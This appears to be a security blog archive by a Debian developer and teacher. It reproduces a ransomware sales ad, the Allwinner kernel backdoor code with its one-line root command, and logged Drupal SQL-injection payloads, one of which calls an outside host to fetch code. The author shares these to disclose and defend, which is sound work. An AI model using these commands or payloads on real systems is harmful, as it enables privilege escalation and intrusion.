warning: Creating default object from empty value in /home/gwolf/drupal6/modules/taxonomy/ on line 33.

Started getting ads for ransomware. Coincidence?

Submitted by gwolf on Fri, 02/24/2017 - 14:06

Very strange. Verrrry strange.

Yesterday I wrote a blog post on spam stuff that has been hitting my mailbox. Nothing too deep, just me scratching my head.

Coincidentally (I guess/hope), I have been getting messages via my Bitlbee to one of my Jabber accounts, offering me ransomware services. I am reproducing it here, omitting of course everything I can recognize as their brand names related URLs (as I'm not going to promote the 3vi1-doers). I'm reproducing this whole as I'm sure the information will be interesting for some.

*BRAND* Ransomware - The Most Advanced and Customisable you've Ever Seen
Conquer your Independence with *BRAND* Ransomware Full Lifetime License!
* NO DEPENDENCIES (.net or whatever)!!!
* Edit file Icon and UAC - Works on All Windows Versions
* Set Folders and Extensions to Encrypt, Deadline and Russian Roulette
* Edit the Text, speak with voice (multilang) and Colors for Ransom Window
* Enable/disable USB infect, network spread & file melt
* Set Process Name, sleep time, update ransom amount, Give mercy button
* Full-featured headquarter (for Windows) with unlimited builds, PDF reports, charts and maps, totally autonomous operation
* PHP Bridges instead of expensive C&C servers!
* Automatic Bitcoin payment detection (impossible to bypass/crack - we challege who says the contrary to prove what they say!)
* Totally/Mathematically IMPOSSIBLE to DECRYPT! Period.
* Award-Winning Five-Stars support and constant updates!
* We Have lot vouchs in *BRAND* Market, can check!
Watch the promo video: *URL*
Screenshots: *URL*
Website: *URL*
Price: $389
Promo: just $309 - 20% OFF! until 25th Feb 2017
Jabber: *JID*

I think I can comment on this with my students. Hopefully, this is interesting to others.
Now... I had never received Jabber-spam before. This message has been sent to me 14 times in the last 24 hours (all from different JIDs, all unknown to me). I hope this does not last forever :-/ Otherwise, I will have to learn more on how to configure Bitlbee to ignore contacts not known to me. Grrr...

( categories: )

Stop it with those short PGP key IDs!

Submitted by gwolf on Fri, 06/03/2016 - 14:03

Debian is quite probably the project that most uses a OpenPGP implementation (that is, GnuPG, or gpg) for many of its internal operations, and that places most trust in it. PGP is also very widely used, of course, in many other projects and between individuals. It is regarded as a secure way to do all sorts of crypto (mainly, encrypting/decrypting private stuff, signing public stuff, certifying other people's identities). PGP's lineage traces back to Phil Zimmerman's program, first published in 1991 — By far, not a newcomer

PGP is secure, as it was 25 years ago. However, some uses of it might not be so. We went through several migrations related to algorithmic weaknesses (i.e. v3 keys using MD5; SHA1 is strongly discouraged, although not yet completely broken, and it should be avoided as well) or to computational complexity (as the migration away from keys smaller than 2048 bits, strongly prefering 4096 bits). But some vulnerabilities are human usage (that is, configuration-) related.

Today, Enrico Zini gave us a heads-up in the #debian-keyring IRC channel, and started a thread in the debian-private mailing list; I understand the mail to a private list was partly meant to get our collective attention, and to allow for potentially security-relevant information to be shared. I won't go into details about what is, is not, should be or should not be private, but I'll post here only what's public information already.

What are short and long key IDs?

I'll start by quoting Enrico's mail:

there are currently at least 3 ways to refer to a gpg key: short key ID (last 8 hex digits of fingerprint), long key ID (last 16 hex digits) and full fingerprint. The short key ID used to be popular, and since 5 years it is known that it is computationally easy to generate a gnupg key with an arbitrary short key id.

A mitigation to this is using "keyid-format long" in gpg.conf, and a better thing to do, especially in scripts, is to use the full fingerprint to refer to a key, or just ship the public key for verification and skip the key servers.

Note that in case of keyid collision, gpg will download and import all the matching keys, and will use all the matching keys for verifying signatures.

So... What is this about? We humans are quite bad at recognizing and remembering randomly-generated strings with no inherent patterns in them. Every GPG key can be uniquely identified by its fingerprint, a 128-bit string, usually encoded as ten blocks of four hexadecimal characters (this allows for 160 bits; I guess there's space for a checksum in it). That is, my (full) key's signature is:

AB41 C1C6 8AFD 668C A045  EBF8 673A 03E4 C1DB 921F

However, it's quite hard to recognize such a long string, let alone memorize it! So, we often do what humans do: Given that strong cryptography implies a homogenous probability distribution, people compromised on using just a portion of the key — the last portion. The short key ID. Mine is then the last two blocks (shown in boldface): C1DB921F. We can also use what's known as the long key ID, that's twice as long: 64 bits. However, while I can speak my short key ID on a single breath (and maybe even expect you to remember and note it down), try doing so with the long one (shown in italics above): 673A03E4C1DB921F. Nah. Too much for our little, analog brains.

This short and almost-rememberable number has then 32 bits of entropy — I have less than one in 4,000,000,000 chance of generating a new key with this same short key ID. Besides, key generation is a CPU-intensive operation, so it's quite unlikely we will have a collision, right?

Well, wrong.

Previous successful attacks on short key IDs

Already five years ago, Asheesh Laroia migrated his 1024D key to a 4096R. And, as he describes in his always-entertaining fashion, he made his computer sweat until he was able to create a new key for which the short key ID collided with the old one.

It might not seem like a big deal, as he did this non-maliciously, but this easily should have spelt game over for the usage of short key IDs. After all, being able to generate a collision is usually the end for cryptographic systems. Asheesh specifically mentioned in his posting how this could be abused.

But we didn't listen. Short key IDs are just too convenient! Besides, they allow us to have fun, can be a means of expression! I know of at least two keys that would qualify as vanity: Obey Arthur Liu's 0x29C0FFEE (created in 2009) and Keith Packard's 0x00000011 (created in 2012).

Then we got the Evil 32 project. They developed Scallion, started (AFAICT) in 2012. Scallion automates the search for a 32-bit collision using GPUs; they claim that it takes only four seconds to find a collision. So, they went through the strong set of the public PGP Web of Trust, and created a (32-bit-)colliding key for each of the existing keys.

And what happened now?

What happened today? We still don't really know, but it seems we found a first potentially malicious collision — that is, the first "nonacademic" case.

Enrico found two keys sharing the 9F6C6333 short ID, apparently belonging to the same person (as would be the case of Asheesh, mentioned above). After contacting Gustavo, though, he does not know about the second — That is, it can be clearly regarded as an impersonation attempt. Besides, what gave away this attempt are the signatures it has: Both keys are signed by what appears to be the same three keys: B29B232A, F2C850CA and 789038F2. Those three keys are not (yet?) uploaded to the keyservers, though... But we can expect them to appear at any point in the future. We don't know who is behind this, or what his purpose is. We just know this looks very evil.

Now, don't panic: Gustavo's key is safe. Same for his certifiers, Marga, Agustín and Maxy. It's just a 32-bit collision. So, in principle, the only parties that could be cheated to trust the attacker are humans, right?


Enrico tested on the PGP pathfinder & key statistics service, a keyserver that finds trust paths between any two arbitrary keys in the strong set. Surprise: The pathfinder works on the short key IDs, even when supplied full fingerprints. So, it turns out I have three faked trust paths into our impostor.

What next?

There are several things this should urge us to do.

  • First of all, configure your local GPG to never show you short IDs. This is done by adding the line keyid-format 0xlong to ~/.gnupg/gpg.conf.
    • I just checked both in /usr/share/gnupg/options.skel and /usr/share/gnupg2/gpg-conf.skel, and that setting is not yet part of the packages' defaults. I'll check a bit deeper and file bugs right away if needed!
  • Have you written or maintained any program that deals with GPG keys in any way? Make sure it specifies --keyid-format long or 0xlong in any relevant call. It might even be better to use the machine-oriented representation instead: --with-colons.
    • ...Of course, your computer will not feel tired or confused at comparing 160-bit full fingerprints instead of 64-bit long IDs, so it's better if our scripts use the full version for everything.
  • Only sign somebody else's key if you see and verify its full fingerprint (this is not a new issue, but given we are talking about it, and that DebConf is around the corner, and that we will have a KSP as usual...)

And there are surely many other important recommendations. But this is a good set of points to start with.

[update] I was pointed at Daniel Kahn Gillmor's 2013 blog post, OpenPGP Key IDs are not useful. Daniel argues, in short, that cutting a fingerprint in order to get a (32- or 64-bit) short key ID is the worst of all worlds, and we should rather target either always showing full fingerprints, or not showing it at all (and leaving all the crypto-checking bits to be done by the software, as comparing 160-bit strings is not natural for us humans).

[update] This post was picked up by A very interesting discussion continues in their comments.

( categories: )

Debugging backdoors and the usual software distribution for embedded-oriented systems

Submitted by gwolf on Fri, 05/13/2016 - 19:58

In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.

Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.

In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingeniería, UNAM. It has been quite successful — And fun.

Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.

As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:

  • Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
  • Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
  • Building a barebones system using the great Buildroot set of scripts and hacks
  • Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)

Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work!

Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.

So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?

Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.

This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:

  1. Debian GNU/Linux 8 bananapi ttyS0
  3. banana login: gwolf
  4. Password:
  6. Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
  7. Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
  9. The programs included with the Debian GNU/Linux system are free software;
  10. the exact distribution terms for each program are described in the
  11. individual files in /usr/share/doc/*/copyright.
  13. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  14. permitted by applicable law.
  16. gwolf@banana:~$ id
  17. uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
  18. gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
  19. gwolf@banana:~$ id
  20. groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)

Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):

  1. if(!strncmp("rootmydevice",(char*)buf,12)){
  2. cred = (struct cred *)__task_cred(current);
  3. cred->uid = 0;
  4. cred->gid = 0;
  5. cred->suid = 0;
  6. cred->euid = 0;
  7. cred->euid = 0;
  8. cred->egid = 0;
  9. cred->fsuid = 0;
  10. cred->fsgid = 0;
  11. printk("now you are root\n");
  12. }

Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.

Anyway, enough said by me. Some other sources of information:

There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)

Feeling somewhat special

Submitted by gwolf on Tue, 05/19/2015 - 18:36

Today I feel more special than I have ever felt.

Or... Well, or something like that.

Thing is, there is no clear adjective for this — But I successfully finished my Specialization degree! Yes, believe it or not, today I can formally say I am Specialist in Informatic Security and Information Technologies (Especialista en Seguridad Informática y Tecnologías de la Información), as awarded by the Higher School of Electric and Mechanic Engineering (Escuela Superior de Ingeniería Mecánica y Eléctrica) of the National Polytechnical Institute (Instituto Politécnico Nacional).

In Mexico and most Latin American countries, degrees are usually incorporated to your name as if they were a nobiliary title. Thus, when graduating from Engineering studies (pre-graduate universitary level), I became "Ingeniero Gunnar Wolf". People graduating from further postgraduate programs get to introduce themselves as "Maestro Foobar Baz" or "Doctor Quux Noox". And yes, a Specialization is a small posgraduate program (I often say, the smallest possible posgraduate). And as a Specialist... What can I brag about? Can say I am Specially Gunnar Wolf? Or Special Gunnar Wolf? Nope. The honorific title for a Specialization is a pointer to null, and when casted into a char* it might corrupt your honor-recognizing function. So I'm still Ingeniero Gunnar Wolf, for information security reasons.

So that's the reason I am now enrolled in the Masters program. I hope to write an addenda to this message soonish (where soonish ≥ 18 months) saying I'm finally a Maestro.

As a sidenote, many people asked me: Why did I take on the specialization, which is a degree too small for most kinds of real work recognition? Because it's been around twenty years since I last attended a long-term scholar program as a student. And my dish is quite full with activities and responsabilities. I decided to take a short program, designed for 12 months (I graduated in 16, minus two months that the university was on strike... Quite good, I'd say ;-) ) to see how I fared on it, and only later jumping on the full version.

Because, yes, to advance my career at the university, I finally recognized and understood that I do need postgraduate studies.

Oh, and what kind of work did I do for this? Besides the classes I took, I wrote a thesis on a model for evaluating covert channels for establishing secure communications.

( categories: )

On the number of attempts on brute-force login attacks

Submitted by gwolf on Fri, 02/06/2015 - 12:51

I would expect brute-force login attacks to be more common. And yes, at some point I got tired of ssh scans, and added rate-limiting firewall rules, even switched the daemon to a nonstandard port... But I have very seldom received an IMAP brute-force attack. I have received countless phishing scams on my users, and I know some of them have bitten because the scammers then use their passwords on my servers to send tons of spam. Activity is clearly atypical.

Anyway, yesterday we got a brute-force attack on IMAP. A very childish atack, attempted from an IP in the largest ISP in Mexico, but using only usernames that would not belong in our culture (mosty English firstnames and some usual service account names).

What I find interesting to see is that each login was attempted a limited (and different) amount of times: Four account names were attempted only once, eight were attempted twice, and so on — following this pattern:

 1 •
 2 ••
 3 ••
 4 •••••
 5 •••••••
 6 ••••••
 7 •••••
 8 ••••••••
 9 •••••••••
10 ••••••••
11 ••••••••
12 ••••••••••
13 •••••••
14 ••••••••••
15 •••••••••
16 ••••••••••••
17 •••••••••••
18 ••••••••••••••
19 •••••••••••••••
20 ••••••••••••
21 ••••••••••••
22 ••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••

(each dot represents four attempts)

So... What's significant in all this? Very little, if anything at all. But for such a naïve login attack, it's interesting to see the number of attempted passwords per login varies so much. Yes, 273 (over ¼ of the total) did 22 requests, and another 200 were 18 and more. The rest... Fell quite shorter.

In case you want to play with the data, you can grab the list of attempts with the number of requests. I filtered out all other data, as i was basically meaningless. This file is the result of:

  1. $ grep LOGIN /var/log/syslog.1 |
  2. grep FAILED.*|
  3. awk '{print $7 " " $8}'|
  4. sort|uniq -c

On rogue states disrupting foreign networks

Submitted by gwolf on Tue, 12/23/2014 - 23:47

Much ink has been spilled lately (well, more likely, lots of electrons have changed their paths lately — as most of these communications have surely been electronic) on the effects, blame, assurance and everything related to the (allegedly) North Korean attack on Sony's networks. And yes, the list of components and affectations is huge. Technically it was a very interesting feat, but it's quite more interesting socially. Say, the not-so-few people wanting to wipe North Korea from the face of the Earth, as... Well, how did such a puny nation dare touch a private company that's based in the USA?

Of course, there's no strong evidence the attack did originate in (or was funded by) North Korea.

And... I have read very few people talking about the parallels to the infamous Stuxnet, malware written by USA and Israel (not officially admitted, but with quite a bit of evidence pointing to it, and no denial attempts after quite a wide media exposure). In 2010, this worm derailed Iran's nuclear program. Iran, a sovereign nation. Yes, many people doubt such a nuclear program would be used "for good, not for evil" — But since when have those two words had an unambiguous meaning? And when did it become accepted as international law to operate based on hunches and a "everybody knows" mentality?

So, how can the same people repudiate NK's alleged actions and applaud Stuxnet as a perfect weapon for peace?

( categories: )

#Drupal7 sites under attack — Don't panic!

Submitted by gwolf on Fri, 10/17/2014 - 11:24

Two days ago, Drupal announced version 7.32 was available. This version fixes a particularly nasty bug, allowing a SQL injection at any stage of interaction (that means, previous to the authentication taking place).

As soon as I could, I prepared and uploaded Debian packages for this — So if you run a Debian-provided Drupal installation, update now. The updated versions are:

sid / jessie (unstable / testing)
wheezy (stable)
squeeze-backports (oldstable)

And, as expected, I'm already getting several attacks on my sites. Good thing that will help you anyway: Even though it won't prevent the attack from happening, if you use suhosin, several of the attacks will be prevented. Yes, sadly suhosin has not been in a stable Debian release since Wheezy, but still... :-|

Partial logs. This looks like a shellcode being injected as a file created via the menu_router mechanism (shellcode snipped):

  1. Oct 16 15:22:21 lafa suhosin[3723]: ALERT - configured request variable
  2. total name length limit exceeded - dropped variable 'name[0; INSERT INTO
  3. `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`,
  4. `access_callback`, `access_arguments`) VALUES ('deheky', '', '', 'deheky',
  5. 'file_put_contents',
  6. +0x613a323a7b693a303b733a32323a226d6f64756c65732f64626c6f672f746e777(...)
  7. );;# ]' (attacker '', file '/usr/share/drupal7/index.php')

While the previous one is clearly targetting this particular bug, I'm not sure about this next one: It is just checking for some injection viability before telling me its real intentions:

  1. Oct 17 10:26:04 lafa suhosin[3644]: ALERT - configured request variable
  2. name length limit exceeded - dropped variable
  3. '/bin/bash_-c_"php_-r_\"file_get_contents(
  4. 'http://hello_hacked_jp/hello/?l'
  5. (attacker '', file '/usr/share/drupal7/index.php')

So... looking at my logs from the last two days, Suhosin has not let any such attack reach Drupal (or I have been h4x0red and the logs have all been cleaned — Cannot dismiss that possibility :-) )

Anyway... We shall see many such attempts in the next weeks :-|

[update] Yes, I'm not the only one reporting this attack in the wild. Zion Security explains the same attempt I logged: It attempts to inject PHP code so it can be easily executed remotely (and game over for the admin!)

For the more curious, Tamer Zoubi explains the nature and exploitation of this bug.

( categories: )

Another guest in the classroom! Sandino Araico ( @KBrown ): Memory management and security

Submitted by gwolf on Sun, 11/03/2013 - 12:16

This last Thursday I was able again to lure a good friend of mine into presenting an interesting topic to my students at my Operating Systems class: Sandino Araico, a very well known and very well regarded local security guru, presented several issues regarding memory management. I asked him to present the issues on buffer overflows, as well as possible mitigaion strategies, but of course, to present that topic, he had to walk all over the map of memory management.

A good and interesting class. I was able to film it again, and here it is — Sadly, as I explain to some students who suggested me to put the computer in a different place, the angle and the audio quality are not as good as they could — If I were to move the computer to have a better angle of Sandino, I would lose audio quality.

Being it the eve of Día de Muertos, and having a beutiful mega-altars festival just outside the faculty, the outside noise level was quite high, and... Well, I know Sandino rarely raises his voice, so it was better to locate the computer close to him. Of course, add to it that my hardware is by a long shot far from professional-grade. I just used a very cheapish laptop.

I was a bit skeptical to begin with — I have to recognize I have given this topic quite hastily, as we are getting near the end of semester and there's still a lot of topics to cover. But the students seemed interested in Sandino's presentation, and –once again– I am fully satisfied with my guest's performance.

As always. All of my six guests' presentations (over two semesters) have been great. If I were able to get a guest for each of my classes... I'd even save a lot of class-preparation time! :-}

Oh, but you came here looking for the video, right? Here it is: Memory management and security, by Sandino Araico. October 31, 2013.

Buffer overflows, memory corruption: Sandino explains it all

Submitted by gwolf on Sun, 11/03/2013 - 11:58
Buffer overflows, memory corruption: Sandino explains it all

Sandino as a guest speaker to my Operating Systems class

( categories: )

Sandino explains what a buffer overflow looks like

Submitted by gwolf on Sun, 11/03/2013 - 11:57
Sandino explains what a buffer overflow looks like

As a guest speaker at my Operating Systems class

( categories: )

My students during Sandino's talk on memory management security

Submitted by gwolf on Sun, 11/03/2013 - 11:55
My students during Sandino's talk on memory management security

Students paying attention to Sandino's talk on memory management related to computer security

( categories: )

Sandino talking about security in memory management at my class

Submitted by gwolf on Sun, 11/03/2013 - 11:53
Sandino talking about security in memory management at my class

I invited Sandino Araico to give a class in my Operating Systems class. Photographic evidence.

( categories: )
Syndicate content